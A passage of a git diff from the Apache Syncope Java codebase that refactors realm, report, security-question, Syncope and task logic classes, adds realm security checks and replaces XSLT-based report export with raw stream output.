@PreAuthorize("isAuthenticated()") - @Transactional(readOnly = true) - public List list(final String fullPath) { - Realm realm = realmDAO.findByFullPath(fullPath); - if (realm == null) { - LOG.error("Could not find realm '" + fullPath + '\''); - - throw new NotFoundException(fullPath); - } - - boolean admin = AuthContextUtils.getAuthorizations().keySet().contains(IdRepoEntitlement.REALM_LIST); - return realmDAO.findDescendants(realm).stream(). - map(descendant -> binder.getRealmTO(descendant, admin)).collect(Collectors.toList()); - } - @PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_CREATE + "')") public ProvisioningResult create(final String parentPath, final RealmTO realmTO) { Realm parent; if (StringUtils.isBlank(realmTO.getParent())) { - parent = realmDAO.findByFullPath(parentPath); - if (parent == null) { - LOG.error("Could not find parent realm " + parentPath); - - throw new NotFoundException(parentPath); - } + parent = Optional.ofNullable(realmDAO.findByFullPath(parentPath)). + orElseThrow(() -> new NotFoundException(parentPath)); realmTO.setParent(parent.getFullPath()); } else { - parent = realmDAO.find(realmTO.getParent()); - if (parent == null) { - LOG.error("Could not find parent realm " + realmTO.getParent()); - - throw new NotFoundException(realmTO.getParent()); - } + parent = Optional.ofNullable(realmDAO.find(realmTO.getParent())). + orElseThrow(() -> new NotFoundException(realmTO.getParent())); if (!parent.getFullPath().equals(parentPath)) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidPath); @@ -169,6 +164,8 @@ public ProvisioningResult create(final String parentPath, final RealmTO } } + securityChecks(AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.REALM_CREATE), parent.getFullPath()); + String fullPath = StringUtils.appendIfMissing(parent.getFullPath(), "/") + realmTO.getName(); if (realmDAO.findByFullPath(fullPath) != null) { throw new DuplicateException(fullPath); @@ -190,12 +187,10 @@ public ProvisioningResult create(final String parentPath, final RealmTO @PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_UPDATE + "')") public ProvisioningResult update(final RealmTO realmTO) { - Realm realm = realmDAO.findByFullPath(realmTO.getFullPath()); - if (realm == null) { - LOG.error("Could not find realm '" + realmTO.getFullPath() + '\''); + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(realmTO.getFullPath())). + orElseThrow(() -> new NotFoundException(realmTO.getFullPath())); - throw new NotFoundException(realmTO.getFullPath()); - } + securityChecks(AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.REALM_UPDATE), realm.getFullPath()); Map, Set> beforeAttrs = propagationManager.prepareAttrs(realm); @@ -204,8 +199,7 @@ public ProvisioningResult update(final RealmTO realmTO) { List taskInfos = propagationManager.setAttributeDeltas( propagationManager.createTasks(realm, propByRes, null), - beforeAttrs, - null); + beforeAttrs); PropagationReporter propagationReporter = taskExecutor.execute(taskInfos, false, AuthContextUtils.getUsername()); @@ -219,7 +213,9 @@ public ProvisioningResult update(final RealmTO realmTO) { @PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_DELETE + "')") public ProvisioningResult delete(final String fullPath) { Realm realm = Optional.ofNullable(realmDAO.findByFullPath(fullPath)). - orElseThrow(() -> new NotFoundException("Realm " + fullPath)); + orElseThrow(() -> new NotFoundException(fullPath)); + + securityChecks(AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.REALM_DELETE), realm.getFullPath()); if (!realmDAO.findChildren(realm).isEmpty()) { throw SyncopeClientException.build(ClientExceptionType.RealmContains); diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportLogic.java index 6d97d0abe5e..d8578fe201d 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportLogic.java @@ -19,37 +19,20 @@ package org.apache.syncope.core.logic; import java.io.ByteArrayInputStream; -import java.io.File; import java.io.OutputStream; import java.lang.reflect.Method; -import java.nio.charset.StandardCharsets; import java.time.OffsetDateTime; import java.util.ArrayList; -import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Optional; -import java.util.regex.Pattern; import java.util.stream.Collectors; import java.util.zip.ZipInputStream; import javax.ws.rs.core.Response; -import javax.xml.XMLConstants; -import javax.xml.transform.OutputKeys; -import javax.xml.transform.Templates; -import javax.xml.transform.Transformer; -import javax.xml.transform.TransformerConfigurationException; -import javax.xml.transform.sax.SAXResult; -import javax.xml.transform.sax.SAXTransformerFactory; -import javax.xml.transform.sax.TransformerHandler; -import javax.xml.transform.stream.StreamResult; -import javax.xml.transform.stream.StreamSource; -import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; -import org.apache.fop.apps.FopFactory; -import org.apache.fop.apps.FopFactoryBuilder; -import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.JobTO; @@ -58,10 +41,9 @@ import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.JobAction; import org.apache.syncope.common.lib.types.JobType; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; -import org.apache.syncope.common.lib.types.ReportExecStatus; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.core.persistence.api.dao.JobStatusDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.ReportDAO; @@ -74,8 +56,8 @@ import org.apache.syncope.core.provisioning.api.job.JobManager; import org.apache.syncope.core.provisioning.api.job.JobNamer; import org.apache.syncope.core.provisioning.api.utils.ExceptionUtils2; +import org.apache.syncope.core.provisioning.java.job.report.ReportJob; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.apache.xmlgraphics.util.MimeConstants; import org.quartz.JobKey; import org.quartz.SchedulerException; import org.springframework.scheduling.quartz.SchedulerFactoryBean; @@ -84,28 +66,10 @@ public class ReportLogic extends AbstractExecutableLogic { - protected static final Pattern XSLT_PARAMETER_NAME_PATTERN = Pattern.compile("[a-zA-Z_][\\w\\-\\.]*"); - - protected static final SAXTransformerFactory TRAX_FACTORY; - - protected static final FopFactory FOP_FACTORY = new FopFactoryBuilder(new File(".").toURI()).build(); - - static { - TRAX_FACTORY = (SAXTransformerFactory) SAXTransformerFactory.newInstance(); - TRAX_FACTORY.setURIResolver((href, base) -> null); - try { - TRAX_FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); - } catch (TransformerConfigurationException e) { - LOG.error("Could not enable secure XML processing", e); - } - } - protected final ReportDAO reportDAO; protected final ReportExecDAO reportExecDAO; - protected final ConfParamOps confParamOps; - protected final ReportDataBinder binder; protected final EntityFactory entityFactory; @@ -116,7 +80,6 @@ public ReportLogic( final JobStatusDAO jobStatusDAO, final ReportDAO reportDAO, final ReportExecDAO reportExecDAO, - final ConfParamOps confParamOps, final ReportDataBinder binder, final EntityFactory entityFactory) { @@ -124,7 +87,6 @@ public ReportLogic( this.reportDAO = reportDAO; this.reportExecDAO = reportExecDAO; - this.confParamOps = confParamOps; this.binder = binder; this.entityFactory = entityFactory; } @@ -138,7 +100,6 @@ public ReportTO create(final ReportTO reportTO) { jobManager.register( report, null, - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), AuthContextUtils.getUsername()); } catch (Exception e) { LOG.error("While registering quartz job for report " + report.getKey(), e); @@ -153,10 +114,8 @@ public ReportTO create(final ReportTO reportTO) { @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_UPDATE + "')") public ReportTO update(final ReportTO reportTO) { - Report report = reportDAO.find(reportTO.getKey()); - if (report == null) { - throw new NotFoundException("Report " + reportTO.getKey()); - } + Report report = Optional.ofNullable(reportDAO.find(reportTO.getKey())). + orElseThrow(() -> new NotFoundException("Report " + reportTO.getKey())); binder.getReport(report, reportTO); report = reportDAO.save(report); @@ -164,7 +123,6 @@ public ReportTO update(final ReportTO reportTO) { jobManager.register( report, null, - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), AuthContextUtils.getUsername()); } catch (Exception e) { LOG.error("While registering quartz job for report " + report.getKey(), e); @@ -186,35 +144,39 @@ public List list() { @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_READ + "')") @Transactional(readOnly = true) public ReportTO read(final String key) { - Report report = reportDAO.find(key); - if (report == null) { - throw new NotFoundException("Report " + key); - } + Report report = Optional.ofNullable(reportDAO.find(key)). + orElseThrow(() -> new NotFoundException("Report " + key)); return binder.getReportTO(report); } @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_EXECUTE + "')") @Override - public ExecTO execute(final String key, final OffsetDateTime startAt, final boolean dryRun) { - Report report = reportDAO.find(key); - if (report == null) { - throw new NotFoundException("Report " + key); - } + public ExecTO execute(final ExecSpecs specs) { + Report report = Optional.ofNullable(reportDAO.find(specs.getKey())). + orElseThrow(() -> new NotFoundException("Report " + specs.getKey())); if (!report.isActive()) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Scheduling); - sce.getElements().add("Report " + key + " is not active"); + sce.getElements().add("Report " + specs.getKey() + " is not active"); + throw sce; + } + + if (specs.getStartAt() != null && specs.getStartAt().isBefore(OffsetDateTime.now())) { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Scheduling); + sce.getElements().add("Cannot schedule in the past"); throw sce; } try { - jobManager.register( + Map jobDataMap = jobManager.register( report, - startAt, - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), + specs.getStartAt(), AuthContextUtils.getUsername()); + jobDataMap.put(JobManager.DRY_RUN_JOBDETAIL_KEY, specs.getDryRun()); - scheduler.getScheduler().triggerJob(JobNamer.getJobKey(report)); + if (specs.getStartAt() == null) { + scheduler.getScheduler().triggerJob(JobNamer.getJobKey(report)); + } } catch (Exception e) { LOG.error("While executing report {}", report, e); @@ -228,105 +190,48 @@ public ExecTO execute(final String key, final OffsetDateTime startAt, final bool result.setRefKey(report.getKey()); result.setRefDesc(binder.buildRefDesc(report)); result.setStart(OffsetDateTime.now()); - result.setStatus(ReportExecStatus.STARTED.name()); + result.setStatus("JOB_FIRED"); result.setMessage("Job fired; waiting for results..."); result.setExecutor(AuthContextUtils.getUsername()); return result; } @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_READ + "')") - public ReportExec getReportExec(final String executionKey) { - ReportExec reportExec = reportExecDAO.find(executionKey); - if (reportExec == null) { - throw new NotFoundException("Report execution " + executionKey); - } - if (!ReportExecStatus.SUCCESS.name().equals(reportExec.getStatus()) || reportExec.getExecResult() == null) { - SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidReportExec); - sce.getElements().add(reportExec.getExecResult() == null - ? "No report data produced" - : "Report did not run successfully"); - throw sce; - } - return reportExec; - } - - protected Transformer buildXSLTTransformer(final String template, final Map parameters) - throws TransformerConfigurationException { - - Templates templates = TRAX_FACTORY.newTemplates( - new StreamSource(IOUtils.toInputStream(template, StandardCharsets.UTF_8))); - TransformerHandler transformerHandler = TRAX_FACTORY.newTransformerHandler(templates); - - Transformer transformer = transformerHandler.getTransformer(); - parameters.forEach((name, values) -> { - if (XSLT_PARAMETER_NAME_PATTERN.matcher(name).matches()) { - transformer.setParameter(name, values); - } - }); + @Transactional(readOnly = true) + public String getFilename(final String executionKey) { + ReportExec reportExec = Optional.ofNullable(reportExecDAO.find(executionKey)). + orElseThrow(() -> new NotFoundException("Report execution " + executionKey)); - return transformer; + return reportExec.getReport().getName() + + "." + + StringUtils.removeStart(reportExec.getReport().getFileExt(), "."); } @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_READ + "')") + @Transactional(readOnly = true) public void exportExecutionResult( final OutputStream os, - final ReportExec reportExec, - final ReportExecExportFormat format) { + final String executionKey) { - // streaming SAX handler from a compressed byte array stream + ReportExec reportExec = Optional.ofNullable(reportExecDAO.find(executionKey)). + orElseThrow(() -> new NotFoundException("Report execution " + executionKey)); + + if (reportExec.getExecResult() == null || !ReportJob.Status.SUCCESS.name().equals(reportExec.getStatus())) { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidReportExec); + sce.getElements().add(reportExec.getExecResult() == null + ? "No report data produced" + : "Report did not run successfully"); + throw sce; + } + + // streaming output from a compressed byte array stream try (ByteArrayInputStream bais = new ByteArrayInputStream(reportExec.getExecResult()); - ZipInputStream zis = new ZipInputStream(bais)) { + ZipInputStream zis = new ZipInputStream(bais)) { - // a single ZipEntry in the ZipInputStream (see ReportJob) + // a single ZipEntry in the ZipInputStream zis.getNextEntry(); - Map parameters = new HashMap<>(); - parameters.put("status", reportExec.getStatus()); - parameters.put("message", reportExec.getMessage()); - parameters.put("start", reportExec.getStart()); - parameters.put("end", reportExec.getEnd()); - - switch (format) { - case HTML: - Transformer html = buildXSLTTransformer( - reportExec.getReport().getTemplate().getHTMLTemplate(), parameters); - html.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); - html.transform( - new StreamSource(zis), - new StreamResult(os)); - break; - - case PDF: - Transformer pdf = buildXSLTTransformer( - reportExec.getReport().getTemplate().getFOTemplate(), parameters); - pdf.transform( - new StreamSource(zis), - new SAXResult(FOP_FACTORY.newFop(MimeConstants.MIME_PDF, os).getDefaultHandler())); - break; - - case RTF: - Transformer rtf = buildXSLTTransformer( - reportExec.getReport().getTemplate().getFOTemplate(), parameters); - rtf.transform( - new StreamSource(zis), - new SAXResult(FOP_FACTORY.newFop(MimeConstants.MIME_RTF, os).getDefaultHandler())); - break; - - case CSV: - Transformer csv = buildXSLTTransformer( - reportExec.getReport().getTemplate().getCSVTemplate(), parameters); - csv.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); - csv.transform( - new StreamSource(zis), - new StreamResult(os)); - break; - - case XML: - default: - zis.transferTo(os); - } - - LOG.debug("Result of {} successfully exported as {}", reportExec, format); + zis.transferTo(os); } catch (Exception e) { LOG.error("While exporting content", e); } @@ -334,10 +239,8 @@ public void exportExecutionResult( @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_DELETE + "')") public ReportTO delete(final String key) { - Report report = reportDAO.find(key); - if (report == null) { - throw new NotFoundException("Report " + key); - } + Report report = Optional.ofNullable(reportDAO.find(key)). + orElseThrow(() -> new NotFoundException("Report " + key)); ReportTO deletedReport = binder.getReportTO(report); jobManager.unregister(report); @@ -376,10 +279,8 @@ public List listRecentExecutions(final int max) { @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_DELETE + "')") @Override public ExecTO deleteExecution(final String executionKey) { - ReportExec reportExec = reportExecDAO.find(executionKey); - if (reportExec == null) { - throw new NotFoundException("Report execution " + executionKey); - } + ReportExec reportExec = Optional.ofNullable(reportExecDAO.find(executionKey)). + orElseThrow(() -> new NotFoundException("Report execution " + executionKey)); ExecTO reportExecToDelete = binder.getExecTO(reportExec); reportExecDAO.delete(reportExec); @@ -433,10 +334,8 @@ public List listJobs() { @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_READ + "')") @Override public JobTO getJob(final String key) { - Report report = reportDAO.find(key); - if (report == null) { - throw new NotFoundException("Report " + key); - } + Report report = Optional.ofNullable(reportDAO.find(key)). + orElseThrow(() -> new NotFoundException("Report " + key)); JobTO jobTO = null; try { @@ -457,10 +356,8 @@ public JobTO getJob(final String key) { @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_EXECUTE + "')") @Override public void actionJob(final String key, final JobAction action) { - Report report = reportDAO.find(key); - if (report == null) { - throw new NotFoundException("Report " + key); - } + Report report = Optional.ofNullable(reportDAO.find(key)). + orElseThrow(() -> new NotFoundException("Report " + key)); doActionJob(JobNamer.getJobKey(report), action); } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportTemplateLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportTemplateLogic.java deleted file mode 100644 index c73cf4a453b..00000000000 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ReportTemplateLogic.java +++ /dev/null @@ -1,196 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.logic; - -import java.lang.reflect.Method; -import java.util.List; -import java.util.stream.Collectors; -import org.apache.commons.lang3.ArrayUtils; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.to.ReportTemplateTO; -import org.apache.syncope.common.lib.types.ClientExceptionType; -import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.syncope.common.lib.types.ReportTemplateFormat; -import org.apache.syncope.core.persistence.api.dao.DuplicateException; -import org.apache.syncope.core.persistence.api.dao.NotFoundException; -import org.apache.syncope.core.persistence.api.dao.ReportDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; -import org.apache.syncope.core.persistence.api.entity.EntityFactory; -import org.apache.syncope.core.persistence.api.entity.Report; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.transaction.annotation.Transactional; - -public class ReportTemplateLogic extends AbstractTransactionalLogic { - - protected final ReportTemplateDAO reportTemplateDAO; - - protected final ReportDAO reportDAO; - - protected final EntityFactory entityFactory; - - public ReportTemplateLogic( - final ReportTemplateDAO reportTemplateDAO, - final ReportDAO reportDAO, - final EntityFactory entityFactory) { - - this.reportTemplateDAO = reportTemplateDAO; - this.reportDAO = reportDAO; - this.entityFactory = entityFactory; - } - - protected ReportTemplateTO getReportTemplateTO(final String key) { - ReportTemplateTO reportTemplateTO = new ReportTemplateTO(); - reportTemplateTO.setKey(key); - return reportTemplateTO; - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_READ + "')") - @Transactional(readOnly = true) - public ReportTemplateTO read(final String key) { - ReportTemplate reportTemplate = reportTemplateDAO.find(key); - if (reportTemplate == null) { - LOG.error("Could not find report template '" + key + '\''); - - throw new NotFoundException(key); - } - - return getReportTemplateTO(key); - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_LIST + "')") - @Transactional(readOnly = true) - public List list() { - return reportTemplateDAO.findAll().stream(). - map(template -> getReportTemplateTO(template.getKey())).collect(Collectors.toList()); - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_CREATE + "')") - public ReportTemplateTO create(final String key) { - if (reportTemplateDAO.find(key) != null) { - throw new DuplicateException(key); - } - ReportTemplate reportTemplate = entityFactory.newEntity(ReportTemplate.class); - reportTemplate.setKey(key); - reportTemplateDAO.save(reportTemplate); - - return getReportTemplateTO(key); - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_READ + "')") - public String getFormat(final String key, final ReportTemplateFormat format) { - ReportTemplate reportTemplate = reportTemplateDAO.find(key); - if (reportTemplate == null) { - LOG.error("Could not find report template '" + key + '\''); - - throw new NotFoundException(key); - } - - String template = format == ReportTemplateFormat.HTML - ? reportTemplate.getHTMLTemplate() - : format == ReportTemplateFormat.CSV - ? reportTemplate.getCSVTemplate() - : reportTemplate.getFOTemplate(); - if (StringUtils.isBlank(template)) { - LOG.error("Could not find report template '" + key + "' in " + format + " format"); - - throw new NotFoundException(key + " in " + format); - } - - return template; - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_UPDATE + "')") - public void setFormat(final String key, final ReportTemplateFormat format, final String template) { - ReportTemplate reportTemplate = reportTemplateDAO.find(key); - if (reportTemplate == null) { - LOG.error("Could not find report template '" + key + '\''); - - throw new NotFoundException(key); - } - - switch (format) { - case CSV: - reportTemplate.setCSVTemplate(template); - break; - - case FO: - reportTemplate.setFOTemplate(template); - break; - - case HTML: - reportTemplate.setHTMLTemplate(template); - break; - - default: - } - - reportTemplateDAO.save(reportTemplate); - } - - @PreAuthorize("hasRole('" + IdRepoEntitlement.REPORT_TEMPLATE_DELETE + "')") - public ReportTemplateTO delete(final String key) { - ReportTemplate reportTemplate = reportTemplateDAO.find(key); - if (reportTemplate == null) { - LOG.error("Could not find report template '" + key + '\''); - - throw new NotFoundException(key); - } - - List reports = reportDAO.findByTemplate(reportTemplate); - if (!reports.isEmpty()) { - SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InUse); - sce.getElements().addAll(reports.stream().map(Report::getKey).collect(Collectors.toList())); - throw sce; - } - - ReportTemplateTO deleted = getReportTemplateTO(key); - reportTemplateDAO.delete(key); - return deleted; - } - - @Override - protected ReportTemplateTO resolveReference(final Method method, final Object... args) - throws UnresolvedReferenceException { - - String key = null; - - if (ArrayUtils.isNotEmpty(args)) { - for (int i = 0; key == null && i < args.length; i++) { - if (args[i] instanceof String) { - key = ((String) args[i]); - } else if (args[i] instanceof ReportTemplateTO) { - key = ((ReportTemplateTO) args[i]).getKey(); - } - } - } - - if (key != null) { - try { - return getReportTemplateTO(key); - } catch (Throwable ignore) { - LOG.debug("Unresolved reference", ignore); - throw new UnresolvedReferenceException(ignore); - } - } - - throw new UnresolvedReferenceException(); - } -} diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SecurityQuestionLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SecurityQuestionLogic.java index cf1c20bf8f4..ca4ec681e77 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SecurityQuestionLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SecurityQuestionLogic.java @@ -104,7 +104,7 @@ public SecurityQuestionTO delete(final String key) { return deleted; } - @PreAuthorize("isAnonymous() or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public SecurityQuestionTO readByUser(final String username) { if (username == null) { throw new NotFoundException("Null username"); diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SyncopeLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SyncopeLogic.java index 7aaea2eccab..358860e38c0 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SyncopeLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/SyncopeLogic.java @@ -39,7 +39,6 @@ import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; @@ -48,9 +47,6 @@ import org.apache.syncope.core.persistence.api.entity.group.TypeExtension; import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.apache.syncope.core.workflow.api.AnyObjectWorkflowAdapter; -import org.apache.syncope.core.workflow.api.GroupWorkflowAdapter; -import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -63,7 +59,7 @@ public class SyncopeLogic extends AbstractLogic { protected final GroupDAO groupDAO; - protected final AnySearchDAO searchDAO; + protected final AnySearchDAO anySearchDAO; protected final GroupDataBinder groupDataBinder; @@ -71,34 +67,22 @@ public class SyncopeLogic extends AbstractLogic { protected final ContentExporter exporter; - protected final UserWorkflowAdapter uwfAdapter; - - protected final GroupWorkflowAdapter gwfAdapter; - - protected final AnyObjectWorkflowAdapter awfAdapter; - public SyncopeLogic( final RealmDAO realmDAO, final AnyTypeDAO anyTypeDAO, final GroupDAO groupDAO, - final AnySearchDAO searchDAO, + final AnySearchDAO anySearchDAO, final GroupDataBinder groupDataBinder, final ConfParamOps confParamOps, - final ContentExporter exporter, - final UserWorkflowAdapter uwfAdapter, - final GroupWorkflowAdapter gwfAdapter, - final AnyObjectWorkflowAdapter awfAdapter) { + final ContentExporter exporter) { this.realmDAO = realmDAO; this.anyTypeDAO = anyTypeDAO; this.groupDAO = groupDAO; - this.searchDAO = searchDAO; + this.anySearchDAO = anySearchDAO; this.groupDataBinder = groupDataBinder; this.confParamOps = confParamOps; this.exporter = exporter; - this.uwfAdapter = uwfAdapter; - this.gwfAdapter = gwfAdapter; - this.awfAdapter = awfAdapter; } public boolean isSelfRegAllowed() { @@ -123,28 +107,23 @@ public Pair> searchAssignableGroups( Realm base = Optional.ofNullable(realmDAO.findByFullPath(realm)). orElseThrow(() -> new NotFoundException("Realm " + realm)); - AssignableCond assignableCond = new AssignableCond(); - assignableCond.setRealmFullPath(realm); - - SearchCond searchCond; + AnyCond termCond; if (StringUtils.isNotBlank(term)) { - AnyCond termCond = new AnyCond(AttrCond.Type.ILIKE); + termCond = new AnyCond(AttrCond.Type.ILIKE); termCond.setSchema("name"); termCond.setExpression(term.replace("*", "%")); - - searchCond = SearchCond.getAnd( - SearchCond.getLeaf(assignableCond), - SearchCond.getLeaf(termCond)); } else { - searchCond = SearchCond.getLeaf(assignableCond); + termCond = new AnyCond(AttrCond.Type.ISNOTNULL); + termCond.setSchema("key"); } + SearchCond searchCond = SearchCond.getLeaf(termCond); - int count = searchDAO.count(base, true, SyncopeConstants.FULL_ADMIN_REALMS, searchCond, AnyTypeKind.GROUP); + int count = anySearchDAO.count(base, true, SyncopeConstants.FULL_ADMIN_REALMS, searchCond, AnyTypeKind.GROUP); OrderByClause orderByClause = new OrderByClause(); orderByClause.setField("name"); orderByClause.setDirection(OrderByClause.Direction.ASC); - List matching = searchDAO.search( + List matching = anySearchDAO.search( base, true, SyncopeConstants.FULL_ADMIN_REALMS, @@ -175,14 +154,12 @@ public TypeExtensionTO readTypeExtension(final String groupName) { @PreAuthorize("hasRole('" + IdRepoEntitlement.KEYMASTER + "')") @Transactional(readOnly = true) - public void exportInternalStorageContent(final OutputStream os) { + public void exportInternalStorageContent(final int tableThreshold, final OutputStream os) { try { exporter.export( AuthContextUtils.getDomain(), - os, - uwfAdapter.getPrefix(), - gwfAdapter.getPrefix(), - awfAdapter.getPrefix()); + tableThreshold, + os); LOG.debug("Internal storage content successfully exported"); } catch (Exception e) { LOG.error("While exporting internal storage content", e); diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/TaskLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/TaskLogic.java index df4838b7451..f232357c2a2 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/TaskLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/TaskLogic.java @@ -22,6 +22,7 @@ import java.time.OffsetDateTime; import java.util.ArrayList; import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Objects; import java.util.Optional; @@ -31,8 +32,8 @@ import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; -import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.form.SyncopeForm; import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.JobTO; import org.apache.syncope.common.lib.to.MacroTaskTO; @@ -48,6 +49,7 @@ import org.apache.syncope.common.lib.types.TaskType; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.JobStatusDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; @@ -72,7 +74,7 @@ import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskExecutor; import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; import org.apache.syncope.core.provisioning.api.utils.ExceptionUtils2; -import org.apache.syncope.core.provisioning.java.job.TaskJob; +import org.apache.syncope.core.provisioning.java.job.MacroJobDelegate; import org.apache.syncope.core.provisioning.java.propagation.DefaultPropagationReporter; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.DelegatedAdministrationException; @@ -95,8 +97,6 @@ public class TaskLogic extends AbstractExecutableLogic { protected final NotificationDAO notificationDAO; - protected final ConfParamOps confParamOps; - protected final TaskDataBinder binder; protected final PropagationTaskExecutor taskExecutor; @@ -113,7 +113,6 @@ public TaskLogic( final TaskExecDAO taskExecDAO, final ExternalResourceDAO resourceDAO, final NotificationDAO notificationDAO, - final ConfParamOps confParamOps, final TaskDataBinder binder, final PropagationTaskExecutor taskExecutor, final NotificationJobDelegate notificationJobDelegate, @@ -125,7 +124,6 @@ public TaskLogic( this.taskExecDAO = taskExecDAO; this.resourceDAO = resourceDAO; this.notificationDAO = notificationDAO; - this.confParamOps = confParamOps; this.binder = binder; this.taskExecutor = taskExecutor; this.notificationJobDelegate = notificationJobDelegate; @@ 